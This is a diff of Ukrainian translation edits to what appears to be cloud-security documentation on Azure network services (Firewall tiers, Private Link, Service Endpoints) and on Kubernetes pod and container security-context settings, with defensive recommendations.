+| **Рекомендований випадок використання** | Малі/середні підприємства (SMBs) з обмеженими потребами | Загальне підприємницьке використання, фільтрація рівнів 3–7 | Дуже чутливі середовища (наприклад, обробка платежів) |
+| **Продуктивність** | До 250 Мбіт/с пропускної здатності | До 30 Гбіт/с пропускної здатності | До 100 Гбіт/с пропускної здатності |
+| **Розвідка загроз** | Лише сповіщення | Сповіщення та блокування (зловмисні IP/домени) | Сповіщення та блокування (розширена розвідка загроз) |
+| **Фільтрація L3–L7** | Основна фільтрація | Станова фільтрація через протоколи | Станова фільтрація з розширеною перевіркою |
+| **Розширений захист від загроз** | Не доступний | Фільтрація на основі розвідки загроз | Включає систему виявлення та запобігання вторгненням (IDPS) |
+| **TLS перевірка** | Не доступний | Не доступний | Підтримує вхідну/вихідну термінацію TLS |
+| **Доступність** | Фіксований бекенд (2 ВМ) | Автоматичне масштабування | Автоматичне масштабування |
+| **Легкість управління** | Основні елементи управління | Керування через Firewall Manager | Керування через Firewall Manager |
### Enumeration
@@ -174,14 +174,14 @@ Get-AzRouteTable
Azure Private Link - це сервіс в Azure, який **дозволяє приватний доступ до сервісів Azure**, забезпечуючи, що **трафік між вашою віртуальною мережею Azure (VNet) та сервісом повністю проходить через мережу Microsoft Azure**. Це ефективно інтегрує сервіс у вашу VNet. Така конфігурація підвищує безпеку, не піддаючи дані публічному інтернету.
-Private Link можна використовувати з різними сервісами Azure, такими як Azure Storage, Azure SQL Database та користувацькими сервісами, які діляться через Private Link. Це забезпечує безпечний спосіб споживання сервісів з вашої власної VNet або навіть з різних підписок Azure.
+Private Link можна використовувати з різними сервісами Azure, такими як Azure Storage, Azure SQL Database та користувацькими сервісами, які діляться через Private Link. Це забезпечує безпечний спосіб споживання сервісів з вашої VNet або навіть з різних підписок Azure.
> [!CAUTION]
> NSG не застосовуються до приватних кінцевих точок, що чітко означає, що асоціювання NSG з підмережею, яка містить Private Link, не матиме жодного ефекту.
**Приклад:**
-Розгляньте сценарій, коли у вас є **Azure SQL Database, до якої ви хочете отримати безпечний доступ з вашої VNet**. Зазвичай це може включати проходження через публічний інтернет. З Private Link ви можете створити **приватну кінцеву точку у вашій VNet**, яка безпосередньо підключається до сервісу Azure SQL Database. Ця кінцева точка робить базу даних такою, що вона виглядає як частина вашої власної VNet, доступна через приватну IP-адресу, що забезпечує безпечний і приватний доступ.
+Розгляньте сценарій, коли у вас є **Azure SQL Database, до якої ви хочете отримати безпечний доступ з вашої VNet**. Зазвичай це може вимагати проходження через публічний інтернет. З Private Link ви можете створити **приватну кінцеву точку у вашій VNet**, яка безпосередньо підключається до сервісу Azure SQL Database. Ця кінцева точка робить базу даних такою, що вона виглядає як частина вашої власної VNet, доступна через приватну IP-адресу, що забезпечує безпечний і приватний доступ.
### **Enumeration**
@@ -206,15 +206,15 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
{{#endtab }}
{{#endtabs }}
-## Точки доступу сервісів Azure
+## Azure Service Endpoints
-Точки доступу сервісів Azure розширюють приватний адресний простір вашої віртуальної мережі та ідентичність вашої VNet до сервісів Azure через пряме з'єднання. Увімкнувши точки доступу сервісів, **ресурси у вашій VNet можуть безпечно підключатися до сервісів Azure**, таких як Azure Storage та Azure SQL Database, використовуючи магістральну мережу Azure. Це забезпечує, що **трафік з VNet до сервісу Azure залишається в межах мережі Azure**, забезпечуючи більш безпечний та надійний шлях.
+Azure Service Endpoints розширюють приватний адресний простір вашої віртуальної мережі та ідентичність вашого VNet до сервісів Azure через пряме з'єднання. Увімкнувши кінцеві точки сервісу, **ресурси у вашому VNet можуть безпечно підключатися до сервісів Azure**, таких як Azure Storage та Azure SQL Database, використовуючи магістральну мережу Azure. Це забезпечує, що **трафік з VNet до сервісу Azure залишається в межах мережі Azure**, забезпечуючи більш безпечний і надійний шлях.
**Приклад:**
-Наприклад, обліковий запис **Azure Storage** за замовчуванням доступний через публічний інтернет. Увімкнувши **точку доступу сервісу для Azure Storage у вашій VNet**, ви можете забезпечити, що лише трафік з вашої VNet може отримати доступ до облікового запису зберігання. Брандмауер облікового запису зберігання може бути налаштований для прийняття трафіку лише з вашої VNet.
+Наприклад, обліковий запис **Azure Storage** за замовчуванням доступний через публічний інтернет. Увімкнувши **кінцеву точку сервісу для Azure Storage у вашому VNet**, ви можете забезпечити, щоб лише трафік з вашого VNet міг отримати доступ до облікового запису зберігання. Брандмауер облікового запису зберігання можна налаштувати так, щоб він приймав трафік лише з вашого VNet.
-### **Перерахування**
+### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
@@ -255,7 +255,7 @@ Microsoft рекомендує використовувати Private Links у [
- Private Link відображає Azure-сервіси у вашій VNet через приватний endpoint, який є мережею з приватною IP-адресою в межах вашої VNet.
- Azure-сервіс доступний за цією приватною IP-адресою, що робить його частиною вашої мережі.
-- Сервіси, підключені через Private Link, можуть бути доступні лише з вашої VNet або підключених мереж; немає доступу до сервісу з публічного інтернету.
+- Сервіси, підключені через Private Link, можуть бути доступні лише з вашої VNet або підключених мереж; доступу до сервісу з публічного інтернету немає.
- Це забезпечує безпечне з'єднання з Azure-сервісами або вашими власними сервісами, розміщеними в Azure, а також з сервісами, якими діляться інші.
- Це забезпечує більш детальний контроль доступу через приватний endpoint у вашій VNet, на відміну від більш широкого контролю доступу на рівні підмережі з service endpoints.
@@ -296,12 +296,12 @@ Get-AzFrontDoorWafPolicy -Name -ResourceGroupName fsGroup ціле число
|
Спеціальна додаткова група, яка застосовується до всіх контейнерів у pod. Деякі типи томів дозволяють Kubelet змінювати власність цього тому на власність pod: 1. Власний GID буде FSGroup 2. Біт setgid встановлений (нові файли, створені в томі, будуть належати FSGroup) 3. Біт дозволів OR'd з rw-rw---- Якщо не встановлено, Kubelet не змінюватиме власність і дозволи жодного тому
Спеціальна додаткова група, яка застосовується до всіх контейнерів у pod. Деякі типи томів дозволяють Kubelet змінювати власність цього тому на власність pod: 1. Власний GID буде FSGroup 2. Біт setgid встановлений (нові файли, створені в томі, будуть належати FSGroup) 3. Права доступу OR'd з rw-rw---- Якщо не встановлено, Kubelet не змінюватиме власність і права доступу жодного тому
| **GID для запуску точки входу процесу контейнера**. Використовує значення за замовчуванням, якщо не встановлено. Може також бути встановлено в SecurityContext. |
|
| Вказує, що контейнер повинен працювати як не-root користувач. Якщо true, Kubelet перевірить зображення під час виконання, щоб переконатися, що воно не працює як UID 0 (root) і не зможе запустити контейнер, якщо це так. |
|
| **UID для запуску точки входу процесу контейнера**. За замовчуванням - користувач, вказаний у метаданих зображення, якщо не вказано. |
@@ -24,13 +24,13 @@
|
| Sysctls містять список **namespaced sysctls, які використовуються для pod**. Pods з непідтримуваними sysctls (контейнерним виконувальним середовищем) можуть не запуститися. |
-|
| Специфічні для Windows налаштування, які застосовуються до всіх контейнерів. Якщо не вказано, будуть використані параметри в SecurityContext контейнера. |
+|
| Специфічні для Windows налаштування, які застосовуються до всіх контейнерів. Якщо не вказано, будуть використовуватися параметри в SecurityContext контейнера. |
## SecurityContext
[**З документації:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
-Цей контекст встановлюється всередині **визначень контейнерів**. З точки зору оборонної безпеки ви повинні врахувати:
+Цей контекст встановлюється всередині **визначень контейнерів**. З точки зору оборонної безпеки вам слід врахувати:
- **allowPrivilegeEscalation** як **False**
- Не додавайте чутливі **можливості** (і видаліть ті, які вам не потрібні)
@@ -42,10 +42,10 @@
Зверніть увагу, що атрибути, встановлені в **обох SecurityContext і PodSecurityContext**, значення, вказане в **SecurityContext**, має **пріоритет**.
-|
| **AllowPrivilegeEscalation** контролює, чи може процес **отримати більше привілеїв**, ніж його батьківський процес. Цей булевий параметр безпосередньо контролює, чи буде встановлено прапор no_new_privs для процесу контейнера. AllowPrivilegeEscalation завжди true, коли контейнер запускається як **Privileged** або має **CAP_SYS_ADMIN** |
+|
| **AllowPrivilegeEscalation** контролює, чи може процес **отримати більше привілеїв**, ніж його батьківський процес. Це логічне значення безпосередньо контролює, чи буде встановлено прапор no_new_privs для процесу контейнера. AllowPrivilegeEscalation завжди true, коли контейнер запускається як **Privileged** або має **CAP_SYS_ADMIN** |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| Запустіть контейнер у привілейованому режимі. Процеси в привілейованих контейнерах фактично **еквівалентні root на хості**. За замовчуванням - false. |
+|
| Запустіть контейнер у привілейованому режимі. Процеси в привілейованих контейнерах фактично є **еквівалентом root на хості**. За замовчуванням - false. |
|
| procMount позначає **тип монтування proc, який потрібно використовувати для контейнерів**. За замовчуванням - DefaultProcMount, який використовує значення за замовчуванням контейнерного виконувального середовища для шляхів тільки для читання та маскованих шляхів. |
|